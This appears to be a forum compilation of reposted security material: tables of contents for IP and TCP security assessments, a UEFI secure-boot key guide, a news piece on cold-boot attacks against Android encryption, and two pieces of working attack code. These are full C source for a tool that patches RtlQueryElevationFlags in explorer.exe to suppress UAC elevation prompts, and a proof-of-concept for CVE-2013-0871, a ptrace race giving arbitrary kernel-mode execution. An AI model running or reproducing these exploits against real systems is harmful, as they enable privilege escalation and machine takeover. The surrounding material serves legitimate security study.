Nytro

Security Assessment of the Internet Protocol Table of Contents 1. Preface ...................................................................................................................................... 3 1 .1 Introduction ...................................................................................................................... 3 1 .2 Scope of this document ................................................................................................... 4 1 .3 Organization of this document .......................................................................................... 4 1 .4 Typographical conventions ............................................................................................... 5 1 .5 Getting the latest version of this document........................................................................ 5 1 .6 Advice and guidance to vendors....................................................................................... 5 1 .5 Acknowledgements .......................................................................................................... 5 2. The Internet Protocol ............................................................................................................... 6 3. Internet Protocol header fields ............................................................................................... 7 3.1 Version.............................................................................................................................. 7 3.2 IHL (Internet Header Length)............................................................................................. 8 3.3 TOS.................................................................................................................................. 8 3.4 Total Length...................................................................................................................... 9 3.5 Identification (ID).............................................................................................................. 10 3.5.1 Some workarounds implemented by the industry......................................................... 10 3.5.2 Possible security improvements................................................................................... 11 3.6 Flags............................................................................................................................... 13 3.7 Fragment Offset.............................................................................................................. 14 3.8 Time to Live (TTL)............................................................................................................ 15 3.9 Protocol.......................................................................................................................... 19 3.10 Header Checksum........................................................................................................ 19 3.11 Source Address............................................................................................................ 19 3.12 Destination Address...................................................................................................... 20 3.13 Options......................................................................................................................... 20 3.13.1 General issues with IP options.................................................................................... 21 3.13.1.1 Processing requirements......................................................................................... 21 3.13.1.2 Processing of the options by the upper layer protocol............................................. 22 3.13.1.3 General sanity checks on IP options........................................................................ 22 3.13.2 Issues with specific options........................................................................................ 23 3.13.2.1 End of Option List (Type = 0)................................................................................... 23 3.13.2.2 No Operation (Type = 1).......................................................................................... 24 3.13.2.3 Loose Source Record Route (LSRR) (Type = 131)................................................... 24 Security Assessment of the Internet Protocol 3.13.2.4 Strict Source and Record Route (SSRR) (Type = 137).............................................. 26 3.13.2.5 Record Route (Type = 7).......................................................................................... 29 3.13.2.6 Stream Identifier (Type = 136).................................................................................. 31 3.13.2.7 Internet Timestamp (Type = 68)............................................................................... 31 3.13.2.8 Router Alert (Type = 148)......................................................................................... 34 3.13.2.9 Probe MTU (Type =11)............................................................................................ 34 3.13.2.10 Reply MTU (Type = 12).......................................................................................... 34 3.13.2.11 Traceroute (Type = 82)........................................................................................... 35 3.13.2.12 DoD Basic Security Option (Type = 130)................................................................ 35 3.13.2.13 DoD Extended Security Option (Type = 133).......................................................... 36 3.13.2.14 Commercial IP Security Option (CIPSO)................................................................. 36 3.13.2.15 Sender Directed Multi-Destination Delivery (Type = 149)........................................ 37 3.14 Differentiated Services field ........................................................................................... 37 3.15 Explicit Congestion Notification (ECN) .......................................................................... 38 4. Internet Protocol Mechanisms .............................................................................................. 40 4.1 Fragment reassembly ..................................................................................................... 40 4.1.1 Problems related with memory allocation ..................................................................... 41 4.1.2 Problems that arise from the length of the IP Identification field .................................... 42 4.1.3 Problems that arise from the complexity of the reassembly algorithm .......................... 43 4.1.4 Problems that arise from the ambiguity of the reassembly process .............................. 43 4.1.5 Problems that arise from the size of the IP fragments .................................................. 44 4.1.6 Possible security improvements .................................................................................. 45 4.2 Forwarding ..................................................................................................................... 49 4.2.1 Precedence-ordered queue service ............................................................................. 49 4.2.2 Weak Type of Service .................................................................................................. 50 4.2.3 Address Resolution ..................................................................................................... 51 4.2.4 Dropping packets ........................................................................................................ 51 4.3 Addressing ..................................................................................................................... 52 4.3.1 Unreachable addresses ............................................................................................... 52 4.3.2 Private address space ................................................................................................. 52 4.3.3 Class D addresses (224/4 address block) .................................................................... 52 4.3.4 Class E addresses (240/4 address block) .................................................................... 52 4.3.5 Broadcast and multicast addresses, and connection-oriented protocols ..................... 53 4.3.6 Broadcast and network addresses .............................................................................. 53 4.3.7 Special Internet addresses .......................................................................................... 53 5. References .............................................................................................................................. 56 Download: http://www.si6networks.com/publications/InternetProtocol.pdf

SECURITY ASSESSMENT OF THE TRANSMISSION CONTROL PROTOCOL (TCP) Contents 1. Preface.................................................................................................. 5 1.1. Introduction ..................................................................................................................................... 5 1.2. Scope of this document .................................................................................................................. 6 1.3. Organisation of this document........................................................................................................ 7 1.4. Typographical conventions............................................................................................................. 7 1.5 Acknowledgements ......................................................................................................................... 7 1.6. Advice and guidance to vendors .................................................................................................... 8 2. The Transmission Control Protocol................................................... 9 3. TCP header fields .............................................................................. 10 3.1. Source Port................................................................................................................................... 10 3.2. Destination port............................................................................................................................. 18 3.3. Sequence number ........................................................................................................................ 19 3.4. Acknowledgement number........................................................................................................... 20 3.5. Data Offset.................................................................................................................................... 21 3.6. Control bits.................................................................................................................................... 21 3.7. Window ......................................................................................................................................... 25 3.8. Checksum..................................................................................................................................... 26 3.9. Urgent pointer............................................................................................................................... 27 3.10. Options ....................................................................................................................................... 31 3.11. Padding....................................................................................................................................... 33 3.12. Data ............................................................................................................................................ 33 4. Common TCP options....................................................................... 34 4.1. End of Option List (Kind = 0) ........................................................................................................ 34 4.2. No Operation (Kind = 1)................................................................................................................ 34 4.3. Maximum Segment Size (Kind = 2).............................................................................................. 34 4.4. Selective Acknowledgement option.............................................................................................. 36 4.5. MD5 option (Kind=19)................................................................................................................... 38 4.6. Window scale option (Kind = 3).................................................................................................... 39 4.7. Timestamps option (Kind = 8) ...................................................................................................... 40 5. Connection-establishment mechanism........................................... 43 5.1. SYN flood...................................................................................................................................... 43 5.2. Connection forgery ....................................................................................................................... 46 5.3. Connection-flooding attack ........................................................................................................... 47 5.4. Firewall-bypassing techniques ..................................................................................................... 49 3 6. Connection-termination mechanism ............................................... 50 6.1. FIN-WAIT-2 flooding attack .......................................................................................................... 50 7. Buffer management........................................................................... 53 7.1. TCP retransmission buffer............................................................................................................ 53 7.2. TCP segment reassembly buffer .................................................................................................. 56 7.3. Automatic buffer tuning mechanisms ........................................................................................... 58 8. TCP segment reassembly algorithm ............................................... 62 8.1. Problems that arise from ambiguity in the reassembly process................................................... 62 9. TCP congestion control .................................................................... 63 9.1. Congestion control with misbehaving receivers ........................................................................... 64 9.2. Blind DupACK triggering attacks against TCP ............................................................................. 66 9.3. TCP Explicit Congestion Notification (ECN)................................................................................. 79 10. TCP API ............................................................................................ 82 10.1 Passive opens and binding sockets ............................................................................................ 82 10.2. Active opens and binding sockets .............................................................................................. 83 11. Blind in-window attacks.................................................................. 84 11.1. Blind TCP-based connection-reset attacks ................................................................................ 84 11.2. Blind data-injection attacks......................................................................................................... 90 12. Information leaking ......................................................................... 91 12.1. Remote Operating System detection via TCP/IP stack fingerprinting........................................ 91 12.2. System uptime detection ............................................................................................................ 94 13. Covert channels............................................................................... 95 14. TCP port scanning........................................................................... 96 14.1. Traditional connect() scan .......................................................................................................... 96 14.2. SYN scan.................................................................................................................................... 96 14.3. FIN, NULL, and XMAS scans..................................................................................................... 97 14.4. Maimon scan .............................................................................................................................. 98 14.5. Window scan .............................................................................................................................. 98 14.6. ACK scan.................................................................................................................................... 98 4 15. Processing of ICMP error messages by TCP.............................. 100 15.1. Internet Control Message Protocol........................................................................................... 100 15.2. Handling of ICMP error messages ........................................................................................... 101 15.3 Constraints in the possible solutions ......................................................................................... 102 15.4. General countermeasures against ICMP attacks..................................................................... 103 15.5. Blind connection-reset attack ................................................................................................... 104 15.6. Blind throughput-reduction attack............................................................................................. 107 15.7. Blind performance-degrading attack ........................................................................................ 108 16. TCP interaction with the Internet Protocol (IP) ........................... 120 16.1. TCP-based traceroute .............................................................................................................. 120 16.2. Blind TCP data injection through fragmented IP traffic ............................................................ 120 16.3. Broadcast and multicast IP addresses ..................................................................................... 121 17. References ..................................................................................... 122 Download: http://www.si6networks.com/publications/tn-03-09-security-assessment-TCP.pdf

Owning your Windows 8 UEFI Platform Posted on 15 February 2013 by jejb Even if you only ever plan to run Windows or stock distributions of Linux that already have secure boot support, I’d encourage everybody who has a new UEFI secure boot platform to take ownership of it. The way you do this is by installing your own Platform Key. Once you have done this, you can use key database maintenance tools like keytool to edit all the keys on the Platform and move the platform programmatically from Setup Mode to User Mode and back again. This blog post describes how you go about doing this. First Save the Variables The first thing to do is to install and run KeyTool either directly (the platform must have secure boot turned off, because keytool is unsigned) or via the mini USB image and save all the current secure variable keys (select the ‘Save Keys’ option from the top level menu). This will save the contents of each variable as a single esl (EFI Signature List) file, so you should end up with three files: PK.esl, KEK.esl and db.esl. These files can later be used to restore the contents if something goes wrong in the updates (and because some platforms put you into setup mode by erasing the contents of all the secure variables), so save them in a safe place. Use the UEFI Menus to remove the Platform Key This is the step that it’s impossible to be precise about. Every UEFI platform seems to be different in how you do this. The Linux Foundation hosts a web page collecting the information but so far it only has the Intel Tunnel Mountain system on it, but if you work it out for your platform, leave me a comment describing what you did and I’ll add it to the LF page. The most common way to get a UEFI system to display the UEFI menus is to press ESC as it boots up. Create your own Platform Key If you rpm installed efitools, it will automatically have created a Platform Key for you in /usr/share/efitools/keys, plus all of the PK.auth and noPK.auth files. A platform key may be self signed, but doesn’t have to be (I’m using one signed with my root certificate). However, assuming you want to create a self-signed platform key manually, here are the steps: The standard command for doing this with openssl is openssl req -new -x509 -newkey rsa:2048 -subj “/CN=<my CN text>/” -keyout PK.key -out PK.crt -days 3650 -nodes -sha256 None of the parameters for the key (Like the Common Name) matters, so you can replace <my CN text> with anything you like (mine says ‘James Bottomley Platform Key 2013?) you can also add other X509 well known objects like your address. Once you have the two files PK.crt and PK.key, you need to save them in a safe location (PK.key is the one to guard since it’s your private key). Next, create an EFI Signature List file with the public key in (this and the next steps require that you have either installed the efitools rpm or compiled the unix commands from efitools.git and installed them on your system) cert-to-efi-sig-list -g <my random guid> PK.crt PK.esl where <my random guid> is any random GUID you choose. You also need to create an empty noPK.esl file which can be used to remove the platform key again > noPK.esl (do an ls -l on it to make sure it has zero size). Now you create the signed update files (called .auth files) sign-efi-sig-list -k PK.key -c PK.crt PK PK.esl PK.auth sign-efi-sig-list -k PK.key -c PK.crt PK noPK.esl noPK.auth copy the two .auth files to your USB key and you should now be able to use KeyTool to insert them into where the platform key is. Go to ‘Edit Keys’, select the ‘The Platform Key (PK)’ and then ‘Replace Keys(s)’. Navigate the file Chooser to your PK.auth file and you now are the platform Owner. Press ESC to go to the top level menu and it should tell you the platform is in User Mode and Secure Boot is enabled. Now verify you can move back to Setup Mode by going to ‘Edit Keys’, ‘The Platform Key (PK)’ and this time selecting the first entry (showing the GUID you chose for your platform key) and then ‘Delete with .auth file’. This time navigate to noPK.auth and select it. The platform key should now be gone and when you ESC to the top menu it will tell you you are in Setup Mode. You now own your own platform and can move easily between setup and user modes. Replace or Edit the rest of the Keys Now you own your own platform, restoring or replacing the current platform keys is easy. Where you saved the original keys, you should have a KEK.esl and a db.esl file. If you find that KEK and db are blank, you can restore them with this file, simply place the platform into Setup Mode, go to ‘Edit Keys’, ‘The Key Exchange Key Database (KEK)’ and ‘Replace Key(s)’ and finally navigate to the KEK.esl file you saved. You can also do the same thing with db.esl Now your platform should be back to its original condition except that you own the Platform Key and can decide easily to flip it into Setup Mode. Once in setup mode, you can edit the actual keys. One thing you can do is create your own signature key (using the method above for PK) and place it into db. You could also (assuming you never plan to boot windows) delete all the microsoft keys from the system. Beware if you decide to do this that some of your UEFI drivers may be signed by microsoft keys, and removing them all may limit the functionality of your UEFI platform. Additionally, any UEFI update to your system is also likely to come signed with the microsoft keys, however, in this case you can put the Microsoft keys back before doing the update. If pieces of your UEFI system do need to be signed, it might be possible to extract them and sign them with your key instead of Microsoft’s, but I haven’t yet found a system that needs this, so I don’t really have much of an idea how to do it. Remember to move your platform back to User Mode to enable secure boot before you exit KeyTool. Sursa: Owning your Windows 8 UEFI Platform | James Bottomley's random Pages

[h=1]Disable UAC elevation dialog by patching RtlQueryElevationFlags in Windows Explorer[/h]By: [h=3]rohitab[/h]This post describes a method to run programs like regedit.exe without displaying the UAC elevation dialog. When you run a program using Windows Explorer, it calls CreateProcess, which in turn calls CreateProcessInternal. On operating systems with UAC, CreateProcessInternal calls RtlQueryElevationFlags to determine if the UAC elevation dialog should be displayed. Here is a screenshot from API Monitor showing the callstack for RtlQueryElevationFlags RtlQueryElevationFlags returns flags indicating the state of UAC. The following flags are supported: #define ELEVATION_UAC_ENABLED 0x01 #define ELEVATION_VIRTUALIZATION_ENABLED 0x02 #define ELEVATION_INSTALLER_DETECTION_ENABLED 0x04 See UnDoc'd for documentation on this undocumented API. Here is a disassembly of RtlQueryElevationFlags on Windows 7 x64 RtlQueryElevationFlags: 000000007700B850 C7 01 00 00 00 00 mov dword ptr [rcx], 0 000000007700B856 F6 04 25 F0 02 FE 7F 02 test byte ptr [7FFE02F0h],2 000000007700B85E 74 06 je RtlQueryElevationFlags+16h (7700B866h) 000000007700B860 C7 01 01 00 00 00 mov dword ptr [rcx],1 ; ELEVATION_UAC_ENABLED 000000007700B866 F6 04 25 F0 02 FE 7F 04 test byte ptr [7FFE02F0h],4 000000007700B86E 74 03 je RtlQueryElevationFlags+23h (7700B873h) 000000007700B870 83 09 02 or dword ptr [rcx],2 ; ELEVATION_VIRTUALIZATION_ENABLED 000000007700B873 F6 04 25 F0 02 FE 7F 08 test byte ptr [7FFE02F0h],8 000000007700B87B 74 03 je RtlQueryElevationFlags+30h (7700B880h) 000000007700B87D 83 09 04 or dword ptr [rcx],4 ; ELEVATION_INSTALLER_DETECTION_ENABLED 000000007700B880 33 C0 xor eax,eax 000000007700B882 C3 ret The API reads the value at 7FFE02F0h and sets flags indicating UAC state. In order to disable the UAC elevation dialog, the API needs to be modified so that it does not set any flags. There are multiple ways to do it such as re-routing the API using hotpatching, injecting a DLL, modifying the memory location 7FFE02F0h etc. Since we only need to modify a couple of values, its easier to just patch the API in place. The sample code shown below opens Windows Explorer (explorer.exe), and patches RtlQueryElevationFlags in ntdll.dll. Once patched, the API always returns 0 for the flags regardless of the UAC state. Any processes that are executed after this, will run without displaying the UAC elevation dialog. The code, if run again, will unpatch the API to its original state and restore UAC elevation check. Binaries for both 32-bit and 64-bit are attached to this post. // UAC Elevation Enable/Disable // Copyright © 2011, Rohitab Batra // All rights reserved. #include <tchar.h> #include <stdio.h> #include <Windows.h> #include <TlHelp32.h> // Bytes to patch and offsets for comparison #ifdef _WIN64 #define PATCH_BYTE_1 18 #define PATCH_BYTE_2 34 #define PATCH_BYTE_3 47 #define COMPARE_OFFSET_1 9 #define COMPARE_OFFSET_2 25 #define COMPARE_OFFSET_3 38 #define PATCH_SIZE (PATCH_BYTE_3 - PATCH_BYTE_1 + 1) #define BUFFER_SIZE 48 #else #define PATCH_BYTE_1 22 #define PATCH_BYTE_2 37 #define PATCH_BYTE_3 49 #define COMPARE_OFFSET_1 13 #define COMPARE_OFFSET_2 28 #define COMPARE_OFFSET_3 40 #define PATCH_SIZE (PATCH_BYTE_3 - PATCH_BYTE_1 + 1) #define BUFFER_SIZE 52 #endif DWORD GetExplorerProcessId() { DWORD dwProcessId = 0; HANDLE hProcessSnap; PROCESSENTRY32 pe32; // Create snapshot of running processes hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hProcessSnap == INVALID_HANDLE_VALUE) { return 0; } // Iterate through the list to find explorer.exe pe32.dwSize = sizeof(PROCESSENTRY32); if(Process32First(hProcessSnap, &pe32)) { do { if(!_tcsicmp(pe32.szExeFile, _T("explorer.exe"))) { dwProcessId = pe32.th32ProcessID; break; } } while(Process32Next(hProcessSnap, &pe32)); } CloseHandle(hProcessSnap); return dwProcessId; } HMODULE GetNtDllModuleHandle(IN DWORD dwProcessId) { HMODULE hModule = NULL; MODULEENTRY32W me32; // Create a snapshot of modules in the process HANDLE hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessId); if(hModuleSnap == INVALID_HANDLE_VALUE) { _tprintf(_T("ERROR: Failed to retrieve module list.\n\tMake sure you run the 64-bit version on a 64-bit OS.\n")); return FALSE; } // Iterate through the list to find ntdll.dll me32.dwSize = sizeof(me32); if(Module32First(hModuleSnap, &me32)) { do { if(!_tcsicmp(me32.szModule, _T("ntdll.dll"))) { hModule = me32.hModule; break; } } while(Module32Next(hModuleSnap, &me32)); } CloseHandle(hModuleSnap); return hModule; } UINT_PTR GetRtlQueryElevationFlagsRva() { HMODULE hModule = GetModuleHandle(_T("ntdll.dll")); if(!hModule) { return 0; } FARPROC fpFunction = GetProcAddress(hModule, "RtlQueryElevationFlags"); if(!fpFunction) { _tprintf(_T("ERROR: RtlQueryElevationFlags is only available on Windows Vista and later\n")); return 0; } return (UINT_PTR)fpFunction - (UINT_PTR)hModule; } VOID UacElevationDisable(IN DWORD dwProcessId, IN HMODULE hNtDll) { // Get the RVA for RtlQueryElevationFlags UINT_PTR uRtlQueryElevationFlagsRva = GetRtlQueryElevationFlagsRva(); if(!uRtlQueryElevationFlagsRva) { return; } // Open process with permissions to perform virtual memory operations HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwProcessId); if(!hProcess) { _tprintf(_T("ERROR %u: Cannot open process\n"), GetLastError()); return; } __try { BYTE rgbyBuffer[BUFFER_SIZE]; SIZE_T sizeNumberOfBytesTransfered; LPVOID lpvApiAddress = (LPVOID)((UINT_PTR)hNtDll + uRtlQueryElevationFlagsRva); // Read data in from the start of RtlQueryElevationFlags if(!ReadProcessMemory(hProcess, lpvApiAddress, rgbyBuffer, sizeof(rgbyBuffer), &sizeNumberOfBytesTransfered) || sizeNumberOfBytesTransfered != sizeof(rgbyBuffer)) { _tprintf(_T("ERROR %u: Cannot read memory\n"), GetLastError()); __leave; } // Compare data to make sure it matches what we expect if(*(PUINT64)(rgbyBuffer + COMPARE_OFFSET_1) != 0xC70674027FFE02F0 || *(PUINT64)(rgbyBuffer + COMPARE_OFFSET_2) != 0x830374047FFE02F0 || *(PUINT64)(rgbyBuffer + COMPARE_OFFSET_3) != 0x830374087FFE02F0) { _tprintf(_T("ERROR: Data Mismatch. Cannot Patch API\n"), GetLastError()); __leave; } // Check the current state if(rgbyBuffer[PATCH_BYTE_1] == 0x01 && rgbyBuffer[PATCH_BYTE_2] == 0x02 && rgbyBuffer[PATCH_BYTE_3] == 0x04) { _tprintf(_T("UAC Elevation Check is ON. Turning OFF\n")); } else if(rgbyBuffer[PATCH_BYTE_1] == 0x00 && rgbyBuffer[PATCH_BYTE_2] == 0x00 && rgbyBuffer[PATCH_BYTE_3] == 0x00) { _tprintf(_T("UAC Elevation Check is OFF. Turning ON\n")); } else { _tprintf(_T("UAC Elevation Check is UNKNOWN\n")); __leave; } // Patch bytes rgbyBuffer[PATCH_BYTE_1] ^= 0x01; rgbyBuffer[PATCH_BYTE_2] ^= 0x02; rgbyBuffer[PATCH_BYTE_3] ^= 0x04; LPVOID lpvPatchStartAddress = (LPVOID)((UINT_PTR)lpvApiAddress + PATCH_BYTE_1); // Write patched data back if(WriteProcessMemory(hProcess, lpvPatchStartAddress, rgbyBuffer + PATCH_BYTE_1, PATCH_SIZE, &sizeNumberOfBytesTransfered) && sizeNumberOfBytesTransfered == PATCH_SIZE) { __leave; } // Failed to write; unprotect the memory and retry BOOL bSuccess = FALSE; DWORD dwOldProtect; if(VirtualProtectEx(hProcess, lpvPatchStartAddress, PATCH_SIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect)) { // Retry writing patched data if(WriteProcessMemory(hProcess, lpvPatchStartAddress, rgbyBuffer + PATCH_BYTE_1, PATCH_SIZE, &sizeNumberOfBytesTransfered) && sizeNumberOfBytesTransfered == PATCH_SIZE) { bSuccess = TRUE; } VirtualProtectEx(hProcess, lpvPatchStartAddress, PATCH_SIZE, dwOldProtect, &dwOldProtect); } if(!bSuccess) { _tprintf(_T("ERROR: Cannot write memory\n")); } } __finally { CloseHandle(hProcess); } } int _tmain(int argc, _TCHAR* argv[]) { _tprintf(_T("UAC Elevation Enable/Disable\n© 2011 Rohitab Batra\nAll rights reserved.\nhttp://www.rohitab.com\n\n")); __try { DWORD dwExplorerProcessId = GetExplorerProcessId(); if(!dwExplorerProcessId) { _tprintf(_T("ERROR: Cannot find explorer.exe in the list of running processes\n")); __leave; } HMODULE hExplorerNtDll = GetNtDllModuleHandle(dwExplorerProcessId); if(!hExplorerNtDll) { _tprintf(_T("ERROR: Cannot find ntdll.dll in the explorer.exe\n")); __leave; } UacElevationDisable(dwExplorerProcessId, hExplorerNtDll); } __finally { } _tprintf(_T("Press ENTER to exit")); getchar(); return 0; } A quicker way to test this, without using the above code, is through API Monitor. Launch API Monitor, set a post-call breakpoint on RtlQueryElevationFlags and monitor explorer.exe. Now, run a process that requires elevation, such as regedit.exe. API Monitor will display the breakpoint dialog as shown below. Set the value at address pFlags to 0 and hit continue. This will run regedit.exe without the UAC elevation dialog. Download (x86 & x64): http://www.rohitab.com/discuss/index.php?app=core&module=attach&section=attach&attach_id=3332 http://www.rohitab.com/discuss/index.php?app=core&module=attach&section=attach&attach_id=3333 Sursa: Disable UAC elevation dialog by patching RtlQueryElevationFlags in Windows Explorer - rohitab.com - Forums

Boffins FREEZE PHONES to crack Android on-device crypto Security breach could have chilling effect By Neil McAllister in San Francisco • Get more from this author Computer scientists at the Friedrich-Alexander University of Erlangen-Nuremberg, Germany (FAU) have demonstrated that it is possible for unauthorized parties to recover data from encrypted Android smartphones using cold boot attacks. And when they say cold, they mean it – below 10°C, to be precise. Android has included built-in full disk encryption since version 4.0, aka "Ice Cream Sandwich". It comes switched off by default, but once activated it permanently scrambles the device's storage such that it cannot be accessed without entering the correct PIN or password. Or so it would seem. But according to a research paper by Tilo Müller, Michael Spreitzenbarth, and Felix Freiling of FAU, cold boot attacks can allow hackers to extract some or all of the data from Android devices, even with encryption enabled. Technically speaking, cold boot attacks are so called because they involve cold booting a device, meaning you cycle the power without allowing the operating system to shut down properly. Put simply, you pull the plug. We've all been taught that when you cut the power to a device, the contents of its memory are lost. In truth, however, that doesn't happen instantly. RAM chips exhibit a property called remanence, which means their contents fade over time, rather than disappearing all at once. If you can access the memory before it fades completely, it's possible to reconstruct the data that was there before the lights went out. Going ... going ... gone! Once the power's cut, the contents of RAM fade with each passing second (source: FAU) Naturally, you have to move fast. You probably have no more than a few seconds to extract the data. But one peculiar thing about the remanence effect is that the contents of RAM fade more slowly at lower temperatures. The colder the chips, the longer their memory – meaning cold boot attacks really do work better at colder temperatures. Doubtless you can see where this is going. That's right – the key to cracking the encryption on an Android phone is to stick it in the freezer awhile. An hour in cold storage and your captive will be ready to tell you everything (source: FAU) How to hack a frozen phone To demonstrate their method, Müller & Co used a Samsung Galaxy Nexus handset. They chose that model because it was one of the first devices to ship with Android 4.0, and because it runs on a stock Android experience, with no modifications from the manufacturer to complicate things. A full, step-by-step walkthrough of their process, complete with photos, is available on their website. In a nutshell, however, it involves abruptly powering down the device by pulling its battery, then booting it using a custom-built Android recovery image called FROST – short for "Forensic Recovery of Scrambled Telephones" – designed to extract encrypted data from RAM using a variety of methods. The team first made sure the phone was switched on and had a healthy charge in its battery. Then it was time for the freezer. They found they got their best results by allowing the device to cool to below 10°C, which took about an hour. (As expected, higher temperatures yielded less reliable results.) Once the phone was sufficiently chilled, they jiggled the battery and popped it out as briefly as they could to shut down the device. Then they immediately rebooted while holding down the combination of buttons that puts the device into "fastboot" mode. Once the device was in this mode, the researchers could use a PC to load their custom FROST module into its recovery partition. After that, one more reboot and the mischief was ready to begin. FROST provides a GUI menu offering several ways to extract data (click to enlarge) FROST can be used to extract data from encrypted phones in three main ways. The first is to search the device's RAM for AES encryption keys; recover they keys and it's possible to decrypt all of the data on the device. The second method is to use a brute-force attack to guess the user's PIN, which can also be used to crack the encryption. Brute-force attacks normally aren't the most efficient way to bypass a security mechanism, but the FAU researchers note that many smartphone owners use weak PINs. Finally, if the other two methods don't yield any results, FROST can also download a full image of the device's memory to a PC, which can then be used to conduct further attacks using additional tools. In practice, Müller's team was able to successfully extract a variety of data from encrypted smartphones using these techniques, including photos, recently visited websites, emails and Whatsapp messages, contact lists, calendar entries, and Wi-Fi credentials. Müller and his team have made all of the source code to the FROST module available on their website, along with a precompiled binary that anyone can experiment with. If giving away such a potentially dangerous tool seems rash, however, the researchers are quick to point out that similar methods of bypassing encryption have been understood for years. What's significant is that Android's implementation of on-device encryption is vulnerable to these known techniques, which means additional countermeasures will need to be developed to more fully harden the OS. In the meantime, the researchers plan to continue to experiment with their methods, with the aim of bringing them to bear on Android devices other than the Galaxy Nexus. Their next planned target? Google's Nexus 7 fondleslab. Does anybody need anything from the fridge? ® Sursa: Boffins FREEZE PHONES to crack Android on-device crypto • The Register

Linux Kernel race condition with PTRACE_SETREGS (CVE-2013-0871) Linux kernel stack corruption due to race condition with PTRACE_SETREGS ----------------------------------------------------------------------- A race conditon in ptrace can lead to kernel stack corruption and arbitrary kernel-mode code execution. This should be tracked as CVE-2013-0871. Solution ------------ The following commits from Oleg Nesterov should address the issue: - 910ffdb18a6408e14febbb6e4b6840fd2c928c82 - 9899d11f654474d2d54ea52ceaa2a1f4db3abd68 - 9067ac85d533651b98c2ff903182a20cbb361fcb Credit --------- This was discovered by Suleiman Souhlal and Salman Qazi of Google, with help from Aaron Durbin and Michael Davidson, also of Google. Code -------- Salman Qazi provided the following PoC code: Kernel patch for easy reproduction: diff --git a/arch/x86/kernel/ptrace.c b/arch/x86/kernel/ptrace.c index b629bbe..e22617e 100644 --- a/arch/x86/kernel/ptrace.c +++ b/arch/x86/kernel/ptrace.c @@ -24,6 +24,7 @@ #include <linux/rcupdate.h> #include <linux/module.h> #include <linux/context_tracking.h> +#include <linux/delay.h> #include <asm/uaccess.h> #include <asm/pgtable.h> @@ -902,6 +903,12 @@ long arch_ptrace(struct task_struct *child, long request, datap); case PTRACE_SETREGS: /* Set all gp regs in the child. */ + if (!strcmp(current->comm, "ptrace_death")) { + int i; + WARN_ON_ONCE(1); + for (i = 0 ; i < 15; i++) + mdelay(10); + } return copy_regset_from_user(child, task_user_regset_view(current), REGSET_GENERAL, source code for ptrace_death: /* * Repro case for SETREGS arbitrary ring zero execution bug. * * The specific scenario that we attempt to create: * * V does a syscall. It is being traced by P. P * upon stopping V with PTRACE_SYSCALL and waiting for it, proceeds * to read its registers. At this time P is asleep and an RT process S * starts running. * * Then P proceeds to write V's registers, at shortly it has done this * another process K kills V. Process S goes to sleep permitting V * space to run. V wakes up from its waiting state and heads for the exit. * But, S quickly wakes up again by the time V has reached schedule(). V * is no longer running (since S has the CPU) * and P modifies its regs. When V finally starts running * and returns from schedule(), it pops an incorrect value from the * stack. The reason is that the stack on which schedule() is called * does not have the final 6 registers in pt_regs on it. That means that * when P modifies V's registers, it is actually overwriting the stack * frame saved for schedule(), including the return RIP. * * V and S and pinned to CPU 0. S is an RT task so that it can control * when V does and doesn't run. * remaining processes are not allowed on 0. * */ #include <sched.h> #include <sys/ptrace.h> #include <sys/user.h> #include <stdlib.h> #include <stdio.h> #include <assert.h> #include <signal.h> /* S */ int nuke_cpu(void) { int pid0; int i; unsigned long mask = 1; pid0 = fork(); if (!pid0) { struct sched_param p = {}; p.sched_priority = sched_get_priority_min(SCHED_FIFO); assert(!sched_setscheduler(0, SCHED_FIFO, &p)); assert(!sched_setaffinity(0, sizeof(mask), &mask)); i = 0; usleep(120000); while(1) { if (i == 50000) { usleep(10); printf("x"); fflush(stdout); } i++; } } return pid0; } int once() { long i; int pid0; int pid; unsigned long mask = 1; struct user_regs_struct regs; assert(!sched_setaffinity(0, sizeof(mask), &mask)); pid = fork(); if (!pid) { /* V */ while (1) { /* Put our chosen RIP in callee saved registers */ asm __volatile__ ( "mov $0x1eadbeef, %%rbx\n" "mov $0x1eadbeef, %%rbp\n" "mov $0x1eadbeef, %%r12\n" "mov $0x1eadbeef, %%r13\n" "mov $0x1eadbeef, %%r14\n" "mov $0x1eadbeef, %%r15\n" "mov $0, %%rsi\n" "mov $0, %%rdi\n" "mov $0x6d, %%rax\n" "syscall":::"rax","rsi","rdi", "r12", "rbx"); } } else { /* P */ assert(!ptrace(PTRACE_ATTACH, pid, 0, 0)); wait(NULL); assert(!ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESYSGOOD | PTRACE_O_TRACEFORK | PTRACE_O_TRACEVFORK | PTRACE_O_TRACECLONE)); while(1) { int nuke_pid; int pid2; mask = 0xfffe; assert(!sched_setaffinity(0, sizeof(mask), &mask)); /*Entry */ assert(!ptrace(PTRACE_SYSCALL, pid, NULL, 0, 0)); wait(NULL); assert(!ptrace(PTRACE_GETREGS, pid, NULL, &regs)); nuke_pid = nuke_cpu(); regs.orig_rax = 0x3c; pid2 = fork(); if (!pid2) { /* K */ usleep(120000); kill(pid, SIGKILL); printf("."); fflush(stdout); exit(0); } printf("{"); fflush(stdout); if (!ptrace(PTRACE_SETREGS, pid, NULL, &regs)) { printf("+"); } else { printf("-"); } ptrace(PTRACE_CONT, pid, NULL, 0, SIGKILL); kill(pid, SIGKILL); kill(pid2, SIGKILL); kill(nuke_pid, SIGKILL); exit(0); } } } int main(void) { while (1) { int pid = fork(); if (!pid) { once(); } wait(NULL); } } [img=http://cxsecurity.com/images/paski/pasek9.png] [B]References:[/B] [COLOR=#292929]http://seclists.org/oss-sec/2013/q1/326 [/COLOR] Sursa: Linux Kernel race condition with PTRACE_SETREGS (CVE-2013-0871) - CXSecurity.com

